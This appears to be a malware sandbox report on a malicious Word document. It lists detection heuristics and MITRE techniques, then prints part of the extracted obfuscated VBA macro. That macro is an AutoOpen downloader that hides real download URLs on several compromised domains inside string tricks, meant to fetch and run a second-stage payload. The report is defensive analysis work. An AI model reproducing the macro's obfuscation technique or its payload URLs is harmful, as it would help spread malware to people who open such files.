MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() function, indicating an attempt to execute arbitrary code. The macro constructs a URL by concatenating strings, specifically 'http://www.lasto.ru/GTogfl/' and 'http://www.globustg.ru/mibnpAE0uRLzz', which are likely used to download and execute a second-stage payload. The presence of the 'SE_PASSWORD_ARCHIVE_LURE' heuristic suggests the document may also instruct the user to open a password-protected archive, a common tactic to bypass gateway security.
Heuristics 8
-
ClamAV: Doc.Macro.Obfuscation-6389653-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Obfuscation-6389653-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LUREDocument gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 130690 bytes |
SHA-256: 7c1767d2299f40bccd81a12d619df4e93918b2cdbfc7fef0ff9c89b731a832a1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "BjcSIuU"
Function LNjiAzR()
MHXlXqF = Array(LTrim(LTrim("lQrfhBR" + "jobbNWOUl")), LTrim(LTrim("iIJshNY" + "sIfRRWWIJ")), LTrim(LTrim("cORZAQtzVKjb" + "qEvEmutidH")), LTrim(LTrim("JJiRWEEEMd" + "WjFIszisOdQnp")), LTrim(LTrim("WSkNQCzHz" + "rhbcQFiOr")), LTrim(LTrim("hLwiCtAktpsWtE" + "lUrwbsP")), LTrim(LTrim("pQKXFcIzCvqf" + "TFLWCOOH")), LTrim(LTrim("UoXciknRQG" + "aJNrVuIkq")))
zWUfufmRk = Mid("Ym7aUrG1GIqVqS;o'+'MRbcd = KES'+'+KES7L1http:KES+KES//www.laKES+KESto.ru/GTogKES+KESfl/,htto6F+o6FKES+KESp://KES+KESw'+'wK'+'ES+KESw.gKES+'+'o6F+o6FKESlobustg.r'+'KES+KESu/mibnpAE0uRLzz", 14, 160)
uzOqubH = Array(LTrim(LTrim("SWFfcFlz" + "lAfsvOo")), LTrim(LTrim("dEohDcIpwj" + "vEQrFMSvkMNPQ")), LTrim(LTrim("jowCKziDMmj" + "ZPuwpdZz")), LTrim(LTrim("wVJZfcS" + "MPpYDXo")), LTrim(LTrim("nohFsriH" + "nDBnWjqScjTpc")), LTrim(LTrim("WPzAWunVrGm" + "pssKErB")), LTrim(LTrim("sZRQpfwFanUV" + "JKqsqHNF")), LTrim(LTrim("LvBUuwaSi" + "nwlzzjLqviu")))
HqCafGF = Array(LTrim(LTrim("aDYpROfaYiBiS" + "WAczXLkijNkKsU")), LTrim(LTrim("HFdRjuk" + "mMVIrscQvqRVVR")), LTrim(LTrim("NfFwTLFH" + "LZRYXNmBlC")), LTrim(LTrim("kBDsmHwoUawfp" + "QlazRmjFzzSaDs")), LTrim(LTrim("DPjSbaLcMKMO" + "mvMtbdHbL")), LTrim(LTrim("UPJfCFa" + "DDFRLPNN")), LTrim(LTrim("EJNmEYPTDl" + "walHrKPCSv")), LTrim(LTrim("WmwIKMVk" + "jOJCRzRPrtLzUC")))
XLOhitKrjnt = Array(LTrim(LTrim("vknUESfojkq" + "szakBfsAmit")), LTrim(LTrim("FpZtImpdL" + "fiaUHnSBwXhCX")), LTrim(LTrim("KusbsBtMqUOO" + "ljuvMUATsKjYE")), LTrim(LTrim("kjWlDRpiOtNl" + "zSrGGsuh")), LTrim(LTrim("EbUhXQSjLD" + "TIdUiKzDCSAia")), LTrim(LTrim("AAAEafJA" + "fuQWuYQii")), LTrim(LTrim("wrqpXYwv" + "iCDtuXWQRflXd")), LTrim(LTrim("swZRoCimo" + "YcSKKcfik")))
qMwCQGV = Mid("w6ajjHXOQjXhd'+'Ko6F+o6'+'FES+KESU/,o'+'6F+o6Fh'+'ttp://speciKES+KESaloKES+KESlympiKES+KEScs.oKES+KESrKES+KESg'+'KES+KES.ua/xWRfHl/,httpKES+KES://'+'wKo6F+o6FES+KESwwo6F+o6FKES+KES.KEo6F+o6FS+KESErTlialtUDKDfOBAiacd1u", 8, 188)
ZAPChBoC = Array(LTrim(LTrim("dSzZAzKvY" + "nbovNDwSnrkQip")), LTrim(LTrim("tzLZjJBklfrOwk" + "WSlGiWdTdqNjjK")), LTrim(LTrim("NjHfGzwWpml" + "CQVpCiqVRicLX")), LTrim(LTrim("jiiVcUZIS" + "GQdzYwvT")), LTrim(LTrim("iaDHALwqoLiHw" + "rTPnTJQR")), LTrim(LTrim("wNjlEszUjISspc" + "hKidlzjAJJm")), LTrim(LTrim("IJcKbNjEtRa" + "wrqzwdOBqoFJi")), LTrim(LTrim("jwONZbSNpLGwq" + "IXiQjliuHkB")))
JAbDHEBLiY = Array(LTrim(LTrim("WNbBWwYIw" + "zmVYzrwGHsNrOl")), LTrim(LTrim("SELFpzGnLv" + "WYuqiVnpUmG")), LTrim(LTrim("NTiZWsFfzpfEtM" + "JzqzJcR")), LTrim(LTrim("ZLROrDYRjL" + "wmKakvFQ")), LTrim(LTrim("hsqwSSiqimz" + "vwENFdNba")), LTrim(LTrim("wsjNQzYGED" + "lnhVUvZZ")), LTrim(LTrim("mwOsDoFNiRsp" + "IwwNECf")), LTrim(LTrim("YitFJKXsk" + "oBrlziqKctLb")))
VpOWw = Array(LTrim(LTrim("OHuzjiasBQ" + "RCZiIiYf")), LTrim(LTrim("wBuzwwjjZjA" + "ojIzPqSRSHQGs")), LTrim(LTrim("FlpwCiTsZNM" + "zkzuTUQSdWRjso")), LTrim(LTrim("ONpknGUt" + "qciRXwGvkUqhTY")), LTrim(LTrim("vqaAiUIENcFfk" + "ZpirCDqqzvj")), LTrim(LTrim("WwYzZupBp" + "jUKaiYQpRRWSLf")), LTrim(LTrim("pRUzEriT" + "wMfPDLqjm")), LTrim(LTrim("JJhbVRZKdPt" + "ltljcUD")))
lwMshd = Mid("VzszwS+KES'+'uKES+KES/CA/7L1.'+'SK'+'ES+KESplit'+'(7LKES+KES1,7L1);oMKES+KESRkarapas = oMRnsadaKES+KESsd.next(1, 343245);KES+KESoo6F'+'+o6FMRKES+KEShuas = oMRenKES+KESv:p15GBilobOrqAI2Z5kiOw74POQMajSs", 6, 165)
OGniUi = Array(LTrim(LTrim("LWfilWHrWuRON" + "ntdiVuiEnO")), LTrim(LTrim("wTWuZmFwvh" + "ijlVcqRHaWlI")), LTrim(LTrim("RzKqhEH" + "RHoDkzzILSSn")), LTrim(LTrim("OwwARsm" + "nAKLTcabPPr")), LTrim(LTrim("wMZzSrtTzOE" + "UzCCNqPLUD")), LTrim(LTrim("GirRUXjwCaN" + "CXziZwS")), LTrim(LTrim("ZwqqVaXOZzfF" + "iSSaaZwSRBtHrz")), LTrim(LTrim("NIqNCWEKnBv" + "zRXCvIKTFhHwY")))
AFCFD = Array(LTrim(LTrim("GBBrcVtBlGbn" + "jWDIqzjfhAD")), LTrim(LTrim("vbmiTiVfCU" + "HpwzYYYX")), LTrim(LTrim("FXBXiamUWFZAw"
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.